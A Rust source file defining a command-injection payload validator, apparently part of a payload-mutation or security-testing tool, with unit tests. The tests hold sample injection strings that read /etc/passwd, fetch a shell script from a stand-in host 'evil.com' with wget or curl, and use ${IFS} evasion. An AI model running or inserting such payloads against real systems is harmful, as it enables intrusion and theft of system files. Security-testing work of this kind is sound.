use crate::ascii_scan::contains_ascii_insensitive;
use crate::traits::PayloadOracle;
use serde::Deserialize;
use std::sync::OnceLock;
pub struct CmdiOracle;
const CMD_ORACLE_TOML: &str = include_str!("../rules/cmd/oracle.toml");
#[derive(Debug, Clone, Deserialize)]
struct CmdSeparator {
pattern: String,
#[allow(dead_code)]
description: String,
}
#[derive(Debug, Clone, Deserialize)]
struct ShellCommand {
name: String,
#[allow(dead_code)]
description: String,
}
#[derive(Debug, Clone, Deserialize)]
struct ShellTrick {
pattern: String,
#[allow(dead_code)]
description: String,
}
#[derive(Debug, Clone, Deserialize)]
struct CmdOracleRules {
#[serde(default)]
cmd_separator: Vec<CmdSeparator>,
#[serde(default)]
shell_command: Vec<ShellCommand>,
#[serde(default)]
shell_trick: Vec<ShellTrick>,
}
fn get_rules() -> &'static CmdOracleRules {
static RULES: OnceLock<CmdOracleRules> = OnceLock::new();
RULES.get_or_init(|| {
toml::from_str(CMD_ORACLE_TOML).unwrap_or_else(|_| {
CmdOracleRules { cmd_separator: Vec::new(), shell_command: Vec::new(), shell_trick: Vec::new() }
})
})
}
fn cmd_separators() -> &'static [String] {
static CACHE: OnceLock<Vec<String>> = OnceLock::new();
CACHE.get_or_init(|| {
get_rules()
.cmd_separator
.iter()
.map(|s| s.pattern.clone())
.collect()
})
}
fn shell_commands() -> &'static [String] {
static CACHE: OnceLock<Vec<String>> = OnceLock::new();
CACHE.get_or_init(|| {
get_rules()
.shell_command
.iter()
.map(|c| c.name.clone())
.collect()
})
}
fn shell_tricks() -> &'static [String] {
static CACHE: OnceLock<Vec<String>> = OnceLock::new();
CACHE.get_or_init(|| {
get_rules()
.shell_trick
.iter()
.map(|t| t.pattern.clone())
.collect()
})
}
fn contains_word(text: &str, word: &str) -> bool {
let word_lower = word.to_ascii_lowercase();
text.split(|c: char| {
c.is_ascii_whitespace()
|| matches!(
c,
';' | '|' | '&' | '`' | '$' | '(' | ')' | '<' | '>' | '\'' | '"'
)
|| c == '\0'
})
.any(|part| {
let part = part.trim_start_matches('/');
let part_lower = part.to_ascii_lowercase();
part_lower == word_lower
|| part_lower.starts_with(&word_lower)
&& part_lower.len() > word_lower.len()
&& part_lower[word_lower.len()..].starts_with(|c: char| {
c.is_ascii_whitespace() || c == '-' || c == '/' || c == '(' || c == '$'
})
})
}
fn has_cmdi_structure(payload: &str) -> bool {
let payload = payload.trim_end_matches(['\0', '\u{FFFD}']);
let has_separator = cmd_separators().iter().any(|sep| payload.contains(sep.as_str()));
let has_command = shell_commands()
.iter()
.any(|cmd| contains_word(payload, cmd));
let has_shell_trick = shell_tricks().iter().any(|trick| payload.contains(trick));
let has_target_path = contains_ascii_insensitive(payload, "/etc/passwd")
|| contains_ascii_insensitive(payload, "/etc/shadow")
|| contains_ascii_insensitive(payload, "/bin/")
|| contains_ascii_insensitive(payload, "/tmp/")
|| contains_ascii_insensitive(payload, "http://")
|| contains_ascii_insensitive(payload, "https://");
has_separator && (has_command || has_shell_trick || has_target_path)
}
impl PayloadOracle for CmdiOracle {
fn is_semantically_valid(&self, _original: &str, transformed: &str) -> bool {
has_cmdi_structure(transformed)
}
fn name(&self) -> &'static str {
"CMDI"
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn semicolon_cat_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("; cat /etc/passwd", "; cat /etc/passwd",));
}
#[test]
fn pipe_ls_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("| ls -la", "| ls -la"));
}
#[test]
fn double_ampersand_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid(
"&& wget http://evil.com/shell.sh",
"&& wget http://evil.com/shell.sh",
));
}
#[test]
fn backtick_subshell_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("`id`", "`id`"));
}
#[test]
fn dollar_paren_subshell_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("$(whoami)", "$(whoami)"));
}
#[test]
fn ifs_trick_valid() {
let oracle = CmdiOracle;
assert!(
oracle.is_semantically_valid(
";${IFS}cat${IFS}/etc/passwd",
";${IFS}cat${IFS}/etc/passwd",
)
);
}
#[test]
fn encoded_separator_invalid() {
let oracle = CmdiOracle;
assert!(!oracle.is_semantically_valid("; cat /etc/passwd", "%3B cat /etc/passwd",));
}
#[test]
fn encoded_command_still_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("; cat /etc/passwd", "; cat /etc/passwd",));
}
#[test]
fn plain_text_invalid() {
let oracle = CmdiOracle;
assert!(!oracle.is_semantically_valid("; cat /etc/passwd", "hello world"));
}
#[test]
fn empty_invalid() {
let oracle = CmdiOracle;
assert!(!oracle.is_semantically_valid("; cat /etc/passwd", ""));
}
#[test]
fn newline_separator_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("\nid", "\nid",));
}
#[test]
fn or_pipe_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("|| curl evil.com", "|| curl evil.com"));
}
}